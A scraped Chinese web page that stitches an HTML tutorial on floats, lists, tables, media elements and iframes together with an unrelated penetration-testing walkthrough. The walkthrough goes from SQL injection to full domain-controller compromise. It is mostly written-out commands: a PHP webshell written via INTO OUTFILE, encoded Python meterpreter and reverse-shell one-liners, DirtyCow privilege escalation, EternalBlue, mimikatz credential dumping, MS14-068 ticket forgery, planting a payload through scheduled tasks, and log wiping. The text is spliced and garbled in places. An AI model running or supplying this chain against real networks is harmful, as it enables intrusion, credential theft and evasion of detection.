web网页制作的工作中,元素的float属性非常常用。顾名思义float属性就是浮动的意思,运用了浮动属性的元素常称为浮动元素。我们经常使用元素浮动属性来控制网页的结构以及制作一些酷炫的效果。但是这个属性具有难以把握的特点,下面逐条进行说明:
a. 运用了这种属性的元素会对该元素自身的行为和表现有影响;
b. 对于运用浮动属性的元素,其父级和兄弟级别的元素会对它产生干扰;
c. 浮动元素对其包含或者包含它的元素也会有影响。
对于上面所说的内容我将通过一个在我工作中遇到的问题作为例子进行说明,首先我将所用到的代码展示如下:
先直接使用html代码,其效果就是三行排列的段落;然后再逐行代码进行渲染,当第一行和第四行CSS代码渲染完后,我们会发现段落呈横向排列而且所有的段落不在其父元素.site-nav中。其效果如下图所示:
上图中黄色的部分表示.site-nav的部分,而三个段落都不在其中。从这可以看出使用了浮动元素后元素不会占据文档流的位置,而且其父元素的高度变为0。对于这样的状况,需要清除浮动元素的影响,具体来说就是需要在浮动元素后添加clear:both;属性来消除其影响。
1. 什么是列表
简单来说,列表就是信息资源的一种展示形式。它可以使信息结构化和条理化,并以列表的样式显示出来。
2. 列表的分类及其应用
无序列表,语法:
<ul>
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ul>
有序列表,语法:
<ol>
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ol>
定义列表,语法:
<dl>
<dt>标题</dt>
<dd>第一项</dd>
<dd>第二项</dd>
<dt>标题二</dt>
<dd>第一项</dd>
<dd>第二项</dd>
</dl>
无序列表| 无序列表由ul标签和li标签组成,使用ul标签作为无序列表的声明,使用li标签作为每个列表项的起始。无序列表中的每项都是平级的,没有级别之分,并且列表中的内容一般都是相对简单的标题性质的网页内容
有序列表| 有序列表由ol标签和li标签组成,使用ol标签作为有序列表的声明,使用li标签作为每个列表项的起始,有序列表嵌套同无序列表一样,只能ol标签里面嵌套li标签。有序列表ol-li一般用于显示带有顺序编号的特定场合
定义列表|定义列表是一种很特殊的列表形式,它是标题及列表项的结合。定义列表的语法相对于无序和有序列表不太一样,它使用dl标签作为列表的开始,使用dt标签作为每个列表项的起始,而对每个列表项的定义则使用dd标签来完成。定义列表一般适用于带有标题和标题解释性内容的场合
列表的注意事项:
1.无序列表中的每项都是平级的,没有级别之分,并且列表中的内容一般都是相对简单的标题性质的页面内容。有序列表会依据列表项的顺序进行显示。
2.在实际的网页应用中,无序列表比有序列表应用更加广泛,有序列表ol-li一般用于显示带有顺序编号的特定场合。
3.定义列表一般适用于带标题和标题解释性内容的场合。
示例:有序列表
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
</head>
<body>
<h2>有序列表的应用</h2>
<p>注意:有序列表列表项标记默认是1,有序的数字,可以使用type属性进行更改列表项标记</p>
<p>可选择的列表项标记有:a,A,i,I,1</p>
<ol type="a">
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ol>
<ol type="i">
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ol>
<ol type="1">
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ol>
</body>
</html>
示例:无序列表:
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
</head>
<body>
<h2>无序列表的应用</h2>
<p>注意:无序列表列表项标记默认是黑色圆点,可以使用type属性进行更改</p>
<p>可选择的列表项标记有:小黑点:disc(默认值);方块:square;空心圆:circle。</p>
<ul>
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ul>
<ul type="square">
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ul>
<ul type="circle">
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ul>
</body>
</html>
示例:定义列表
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
</head>
<body>
<h2>定义列表的应用</h2>
<p>一般应用于带有标题和内容,标签dt声明标题,dd声明内容</p>
<dl>
<dt>水果</dt>
<dd>苹果</dd>
<dd>香蕉</dd>
<dd>西瓜</dd>
</dl>
</body>
</html>
2.1.1为什么使用表格
1.简单通用
由于表格行列结构简单,以及在生活中使用广泛,因此对它的理解和编写都很方便。
2.结构稳定
表格通常每行的列数一致,同行单元格高度一致且水平对齐,同列单元格宽度一致且垂直对齐这种严格的约束形成了一个不易变形的合资结构,堆叠排列起来结构很稳定。
2.1.2 表格的基本语法
表格的基本结构:
单元格 | 单元格是表格的最小单位,一个或多个单元格纵横排列组成了表格
行 | 一个或多个单元格堆叠成了行
列 | 由于表格单元格的宽度必须一致,因此单元格纵向列表形成了列
表格的语法结构:
<table>
<tr>
<!--th表示表头-->
<th>星期</th>
<th>科目</th>
</tr>
<tr>
<td>周一</td>
<td>语文</td>
</tr>
<tr>
<td>周二</td>
<td>数学</td>
</tr>
</table>
创建表格的步骤:
1.创建表格标签table
2.在表格标签table创建行标签tr可以有多行
3.在第一行标签tr里创建单元格标签th可以创建表格标题
4.在行标签tr里创建单元格标签td可以有多个单元格
为了显示表格的轮廓,一般还需要设置table标签的border边框属性,指定边框的宽度,如下:
<table border="1" cellpadding="0" cellspacing="0">
<!--border:表格边框;cellpadding:指定表格各单元格之间的空隙;cellspacing:代表单元格边框到内容之间的距离-->
2.1.3 表格的跨行和跨列
-> 跨列:跨列是指单元格的横向合并
<table>
<!--col为column的缩写,span为跨度,所以colspan的意思是跨列-->
<tr>
<td colspan="所垮的列数">单元格的内容</td>
</tr>
</table>
-> 跨行:跨列是指单元格的纵向合并
<table>
<!--row为行的意思,rowspan即跨行-->
<tr>
<td rowspan="所挎的行数">单元格内容</td>
</tr>
</table>
示例:表格跨行和跨列的应用:课表制作
<table border=1 align="center">
<!--align='center':设置表格内容居中显示-->
<caption align="center"><strong>成绩表</strong></caption>
<tr>
<th></th>
<th colspan=5 align="center">课程</th>
<th colspan=2 align="center">周末</th>
</tr>
<tr>
<th>星期</th>
<th>星期一</th>
<th>星期二</th>
<th>星期三</th>
<th>星期四</th>
<th>星期五</th>
<th>星期六</th>
<th>星期天</th>
</tr>
<tr>
<td rowspan="3">上午</td>
<td>语文</td>
<td>数学</td>
<td>英语</td>
<td>英语</td>
<td>物理</td>
<td rowspan=6 align="center" colspan="2">休息</td>
</tr>
<tr>
<td>数学</td>
<td>数学</td>
<td>地理</td>
<td>历史</td>
<td>化学</td>
</tr>
<tr>
<td>化学</td>
<td>语文</td>
<td>体育</td>
<td>计算机</td>
<td>英语</td>
</tr>
<tr>
<td rowspan=2>下午</td>
<td>语文</td>
<td>数学</td>
<td>英语</td>
<td>英语</td>
<td>物理</td>
</tr>
<tr>
<td>化学</td>
<td>语文</td>
<td>体育</td>
<td>计算机</td>
<td>英语</td>
</tr>
</table>
3.1.1媒体元素概述
网络发展日新月异,用计算机,平板,手机打开网页就可以浏览视频,听音乐。
在HTML5问世前,要在网页上展示视频、音频、动画等,除了使用第三方自主开发的播放器外,使用最多的工具应该算是Flash了,但是它需要在浏览器上安装各种插件才能使用,有时候速度也会非常慢。HTML5的出现改变了这一状况,在页面中使用HTML5来播放音频、视频再也不需要安装插件,只需要一个支持HTML5的浏览器就可以了。
视频元素
HTML5中的video元素是用来播放视频文件的,支持Ogg、MPEG4、WebM等视频格式。
格式 | IE | Firefox | Opera | chrome | Safari --- |---|---|---|---|--- Ogg | No |3.5+ | 10.5+ |5.0+|NO MPEG 4 | 9.0+ |No | No |5.0+|3.0+ WebM | No |4.0+ | 10.6+ |6.0+ |NO
Ogg : 带有 Theora 视频编码和 Vorbis 音频编码的 Ogg 文件
MPEG4 : 带有 H.264 视频编码和 AAC 音频编码的 MPEG 4 文件
WebM : 带有 VP8 视频编码和 Vorbis 音频编码的 WebM 文件
应用:
<video src="视频路径" controls="controls"></video>
其中src属性用于指定要播放的视频文件的路径,controls属性用于提供播放,暂停和音量控件,此外,还可以使用width和height设置视频的宽度和高度,如果浏览器不支持video元素,可以在video元素中间插入一段文字用于提示,这样,旧的浏览器就可以显示这段文字给用户看。具体操作如下:
<!DOCTYPE HTML>
<html>
<body>
<video src="movie.ogg" width="320" height="240" controls="controls">
您的浏览器不支持!
</video>
</body>
</html>
video 元素允许多个 source 元素。source 元素可以链接不同的视频文件。浏览器将使用第一个可识别的格式:
<!DOCTYPE HTML>
<html>
<body>
<video width="320" height="240" controls="controls">
<source src="movie.ogg" type="video/ogg">
<source src="movie.mp4" type="video/mp4">
您的浏览器不支持!
</video>
</body>
</html>
video标签的属性
属性 | 值 | 描述
autoplay | autoplay|如果出现该属性,则视频在就绪后马上播放。
controls|controls|如果出现该属性,则向用户显示控件,比如播放按钮。
height| pixels|设置视频播放器的高度。
loop| loop| 如果出现该属性,则当媒介文件完成播放后再次开始播放。
preload| preload|如果出现该属性,则视频在页面加载时进行加载,并预备播放。如果使用 "autoplay",则忽略该属性。
src| url|要播放的视频的 URL。
width| pixels|设置视频播放器的宽度。
音频元素
直到现在,仍然不存在一项旨在网页上播放音频的标准。
今天,大多数音频是通过插件(比如 Flash)来播放的。然而,并非所有浏览器都拥有同样的插件。
HTML5 规定了一种通过 audio 元素来包含音频的标准方法。
audio 元素能够播放声音文件或者音频流。
当前,audio 元素支持三种音频格式:
格式 | IE 9|Firefox 3.5 | Opera 10.5|Chrome 3.0|Safari 3.0 ---|---|---|---|---|--- Ogg Vorbis| |√|√|√| MP3| √|||√|√ Wav| |√|√||√
应用:
<audio src="音频路径" controls="controls"></video>
其中src属性用于指定要播放的音频文件的路径,controls属性用于提供播放、暂停和音量控制,此外,还可以用width和height设置音频的宽度和高度。 如果浏览器不支持audio元素,那么可以在audio元素中间插入一段文字用于提示,这样,旧的浏览器就可以显示这段文字给用户
<audio src="音频路径" controls="controls">你的浏览器不支持audio标签</audio>
audio 元素允许多个 source 元素。source 元素可以链接不同的音频文件。浏览器将使用第一个可识别的格式:
<audio controls="controls">
<source src="song.ogg" type="audio/ogg">
<source src="song.mp3" type="audio/mpeg">
你的浏览器不支持audio标签
</audio>
audio标签的属性
属性 | 值 | 描述
---|---|---
autoplay | autoplay|如果出现该属性,则音频在就绪后马上播放。
controls|controls|如果出现该属性,则向用户显示控件,比如播放按钮。
loop| loop| 如果出现该属性,则当媒介文件完成播放后再次开始播放。
preload| preload|如果出现该属性,则音频在页面加载时进行加载,并预备播放。如果使用 "autoplay",则忽略该属性。
src| url|要播放的音频的 URL。
4.1.1 页面布局分析
当要制作一个页面时,如何入手来进行页面布局呢?
大家容易产生的错误做法如下:自上而下用相应 的标签把内容添加进去。
这样做为什么不对呢?
正确的做法如下:先不用像上面一样直接用标签去写内容,而是先分析页面的大体结构。不难发现,大部分网站都是分成上中下结构,三部分。即页面头部,页面主体,页面底部。分好结构后再向这三块里加入对应的内容。
可能到这里有人就会疑惑了,为什么要在它外面套层壳再写内容?直接写不是更省事?给大家举例子:“一个人到超市买了很多东西,他就开始一样一样地往家里搬,搬了好久才搬完。另外一个人也买了很多东西,这个人就买了个购物袋,把这些东西放到购物袋中一次性就提回家了”。其实网页布局之所以要先划分结构,就是为了后面更容易地将一大块的内容移动到想要放的位置,而不是每个元素都要分别移动,这样能提高开发效率,降低开发难度。
4.1.2 HTML5提供了新的元素来创建更好的页面结构
标签 | 描述
---|---
header|定义了文档的头部区域
nav|定义导航链接的部分。
article| 定义页面独立的内容区域。
aside| 定义页面的侧边栏内容。
section | 定义文档中的节(section、区段)。
footer| 定义 section 或 document 的页脚。
bdi | 允许您设置一段文本,使其脱离其父元素的文本方向设置。
command| 定义命令按钮,比如单选按钮、复选框或按钮
details| 用于描述文档或文档某个部分的细节
dialog| 定义对话框,比如提示框 summary| 标签包含 details 元素的标题
figure| 规定独立的流内容(图像、图表、照片、代码等等)。
figcaption| 定义 figure 元素的标题 mark| 定义带有记号的文本。
meter| 定义度量衡。仅用于已知最大和最小值的度量。
progress| 定义任何类型的任务的进度。
ruby |定义 ruby 注释(中文注音或字符)。
rt |定义字符(中文注音或字符)的解释或发音。
rp| 在 ruby 注释中使用,定义不支持 ruby 元素的浏览器所显示的内容。
time|定义日期或时间。 wbr|规定在文本中的何处适合添加换行符。
4.1.3 iframe框架
frame 元素会创建包含另外一个文档的内联框架(即行内框架)。 在 HTML 4.1 Strict DTD 和 XHTML 1.0 Strict DTD 中,不支持 iframe 元素。 提示:您可以把需要的文本放置在 iframe 标签之间,这样就可以应对无法理解 iframe 的浏览器。
<iframe width=500 height=250 frameborder=0 scrolling=auto src="URL"></iframe>
iframe属性的使用: iframe内联框架的常用属性包括name、width、height。其中name属性可以和前面 学过的锚链接结合起来实现页面间的相互跳转。具体步骤如下:
1.在被打开的框架上name属性,关键代码如下:
<iframe name="mainFram" src="subframe/the_second.html"/>
2.在超链接上设置target目标窗口属性为希望显示框架窗口名,关键代码如下:
<a href="subframe/the_second.html"target="mainFram">下边显示第二页</a>
4.1.4 iframe应用
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="utf-8"/>
<title>iframe的使用</title>
</head>
<body>
<h1>使用iframe嵌套网页</h1>
<p><a href="http://www.baidu.com" target="mainFrame">点击打开百度</a><br /><br />
<a href="https://www.yuntuzhilian.com/" target="mainFrame">点击打开云图智联</a><br /><br />
<a href="subframe/the_first.html" target="mainFrame">点击打开另一个HTML页面</a><br />
</p>
<iframe name="mainFrame" width="1000px" height="700px" src="subframe/the_first.html" />
</body>
</html>
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="utf-8"/>
<title>page1</title>
</head>
<body>
我是另外一个HTML页面
</body>
</html>
1、 无序列表由ul和li标签组成,使用无序列表的内容没有顺序之分,每个列表项独占一行,列表前默认有实心小黑圆点;
2、有序列表由ol和li标签组成,使用有序列表排列的内容通过显示顺序编写,每个列表项独占一行;
3、定义里标由dl、dt、dd标签组成,通常用于带有标题和标题解释性内容的场合,dt表示标题,dd表示标题主实行内容;
4、掌握表格的基本使用方法:
1.使用table、tr、td创建表格
2.制作跨列、跨行的表格
1.跨列:colspan="横向跨的单元格数"
2.跨行:rowspan="纵向跨的单元格数"
5、网页中的媒体元素包括video视频元素和audio音频元素;
6、媒体元素共有的属性:src(链接地址)、controls(控件播放控件);
7、可以让媒体元素在不同浏览器下都支持播放的元素(source);
8、语义化结构元素(header、section、article、nav、aside、footer)的使用;
9、常用的框架技术iframe内联框架;
10、配合使用a标签和target属性及iframe标签的name属性,可以实现窗口间的关联。
(想要了解更多的职场,职业规划方面的经验,文章第一时间发布于云图智联官网)
通过Kali Linux拿到域控权限
2021最新整理网络安全\渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一>关注我,私信回复"资料"获取<一
使用dirbuster工具扫描网站根目录
设置kali默认字典文件/usr/share/wordlists/dirbuster/directorylistlowercase2.3small.txt
扫描获得phpinfo.php
得到网站绝对路径信息
通过测试发现存在sql整型注入报错情况,进一步获取webshell
通过sqlmap测试发现存在sql注入
sqlmap ‐u "http://IP:8888/newsshow.php?cid=4&id=19*" ‐‐dbms MYSQL ‐v3
这里有绝对路径的情况下,可直接写入webshell。这里使用sqlmap osshell的功能
#通过sqlmap获取命令执行会话
sqlmap ‐u “http://IP/newsshow.php?cid=4&id=19*” ‐‐dbms MYSQL ‐v3 ‐‐os‐ shell`
http://IP/newsshow.php?cid=4&id=19 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,0x3c3f706870206576616c28245f504f53545b2770617373275d29 3f3e,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 into outfile '/var/www/html/webshell.php'
为了更好做后续操作,进行反弹shell
os‐shell> uname ‐a
os‐shell> whereis python`
由于网站上为linux默认安装python,可直接生成python反弹脚本
#生成python反弹脚本
msfvenom ‐p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 ‐f raw
#msf监听反向连接会话
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp set LHOST IP
set LPORT 4444
run
#msf监听快速启动
cat py_reverse_tcp.rc
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp set LHOST 192.168.0.17
set LPORT 4444
exploit
msfconsole ‐r py_reverse_tcp.rc
#在sqlmap os‐shell模式下执行python meterpreter反弹脚本
os‐shell> python ‐c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF‐8')} [sys.version_info[0]] ('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRy eToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm 5lY3QoKCYjMzk7SVAmIzM5Oyw0NDQ0KSkNCgkJYnJlYWsNCglleGNlcHQ6DQoJCXRpbWUu c2xlZXAoNSkNCmw9c3RydWN0LnVucGFjaygmIzM5OyZndDtJJiMzOTsscy5yZWN2KDQpKV swXQ0KZD1zLnJlY3YobCkNCndoaWxlIGxlbihkKSZsdDtsOg0KCWQrPXMucmVjdihsLWxl bihkKSkNCmV4ZWMoZCx7JiMzOTtzJiMzOTs6c30pDQo=')))"
#kali监听会话
root@kali:~# nc ‐lvvp 6666
#在sqlmap os‐shell模式下执行python bash反弹脚本
os‐shell> python ‐c "import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((' IP',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.filen o(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s.clos e();"`
sqlmap执行:
监听端口返回反弹shell结果:
拿到shell后,尝试提升权限
通过uname a获取当前系统内核版本
根据可已知内核漏洞下载对应的提权程序(该处使用脏牛内核提权)
cd /tmp/ wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/sundry/master/DirtyCow/dir ty.c gcc ‐pthread dirty.c ‐o dirty ‐lcrypt ./dirty 123456
获得firefart用户,权限为root
su firefart
切换用户为firefart后,将passwd恢复,避免root用户无法使用
mv /tmp/passwd.bak /etc/passwd
通过查看网卡信息后发现存在内网地址信息
meterpreter自动路由(首选)
meterpreter > run autoroute ‐s 10.0.1.0/24 meterpreter > run autoroute ‐p
由于web服务器第二张网卡无法上网,需进行内网代理
在web服务器的shell下,下载tunnel.nosocket.php文件,做代理流量
1、网络下载 wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/reGeorg/master/tunnel.noso cket.php mv tunnel.nosocket.php /var/www/html/ 2、本地上传 upload /root/reGeorg/tunnel.nosocket.php /var/www/html
可正常访问tunnel.nosocket.php文件
[
Kali上执行reGeorg代理脚本
python reGeorgSocksProxy.py ‐p 9999 ‐u http://IP:8888/tunnel.nosocket.php
修改proxychains配置文件,在末行添加socks信息。
vim /etc/proxychains.conf socks5 127.0.0.1 9999
##msf自带代理设置
setg Proxies socks5:127.0.0.1:9999
使用msf自带端口扫描模块,探测出10.0.1.9和10.0.1.254都存在445、3389端口。
use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.1.1/24 set PORTS 21,22,23,80,389,445,873,1433,1521,2049,2181,2375,3306,3389,4899,5432,5 631,5900,5938,5984,6379,8000,8080,7001,9080,9200,10051,11211,20880,270 17,50070 set THREADS 10 exploit
通过代理方式,使用msf框架扫描内网网段中存在MS17010漏洞主机
root@kali:~# proxychains msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOST 10.0.1.0‐254 set threads 10 exploit
通过meterpreter路由方式,background之后使用ms17010攻击模块进行攻击
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set RHOSTS 10.0.1.9 run
meterpreter > sysinfo
加载mimikatz模块
meterpreter > load mimikatz #读取内存中存放的账号密码明文信息 meterpreter > wdigest
meterpreter > run post/windows/gather/enum_logged_on_users
net group "domain controllers" /domain ping dc1.kevin.com
proxychains python ms14‐068.py ‐u liujiafeng@kevin.com ‐s S‐1‐5‐21‐ 4289546598‐4075965387‐827630551‐1111 ‐d 10.0.1.254 ‐p kevin@123
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum set DOMAIN KEVIN.com set USER liujiafeng set PASSWORD kevin@123 set USER_SID S‐1‐5‐21‐4289546598‐4075965387‐827630551‐1111 set RHOST 10.0.1.254
#kali切换目录到loot下将ms14‐068 bin票据复制到物理机 /root/.msf4/loot/ #物理机通过mimikatz转为kirbi文件 mimikatz # kerberos::clist 20191223050146_default_10.0.1.254_windows.kerberos_122860.bin /export
#再将kirbi文件放到kali ticket_converter转换脚本目录下 #将kirbi文件转为ccache python ticket_converter.py 0‐00000000‐liujiafeng@krbtgt‐KEVIN.COM.kirbi TGT_liujiafeng@kevin.com.ccache mv TGT_liujiafeng@kevin.com.ccache /root/pykek/
生成msf监听端口程序
msfvenom ‐p windows/x64/meterpreter/bind_tcp LHOST=10.0.1.254 LPORT=4444 ‐f exe ‐o /root/pykek/test.exe
新建一个msf会话监听正向连接payload
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set RHOST 10.0.1.254
上传利用工具、ms14086黄金票据到win7跳板机上
upload /root/pykek/TGT_liujiafeng@kevin.com.ccache C:/users/kevin upload /usr/share/windows‐resources/mimikatz/x64/mimikatz.exe C:/Users/kevin upload /root/pykek/test.exe c:/users/kevin shell
在win7跳板机上执行
`#清空票据 klist purge
#导入票据
cd c:/users/kevin
mimikatz.exe
kerberos::ptc TGT_liujiafeng@kevin.com.ccache
再通过win7跳板机复制test.exe到域控c盘,并通过at命令添加定时任务执行test.exe
`copy test.exe \dc1.kevin.com\c$ dir \dc1.kevin.com\c<pre class=“copy-codeblocks” style=“font-family: Consolas, Menlo, Monaco, “Lucida Console”, “Liberation Mono”, “DejaVu Sans Mono”, “Bitstream Vera Sans Mono”, “Courier New”, monospace; font-size: 15.008px; display: block; position: relative; overflow: visible; color: rgb(34, 34, 34); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;”
net time \dc1.kevin.com at \dc1.kevin.com 15:42:00 c:\test.exe
查看当前域控at定时任务
at \dc1.kevin.com
在域控at定时任务执行后,连接域控4444端口
netstat ‐ano |findstr "4444"
结束msf木马进程,删除exe进程
at \dc1.kevin.com 16:23:00 cmd /c del c:\test.exe
删除win7工具
cd c:/users/kevin rm TGT_liujiafeng@kevin.com.ccache rm mimikatz.exe
windows删除系统日志
clearev
*请认真填写需求信息,我们会在24小时内与您取得联系。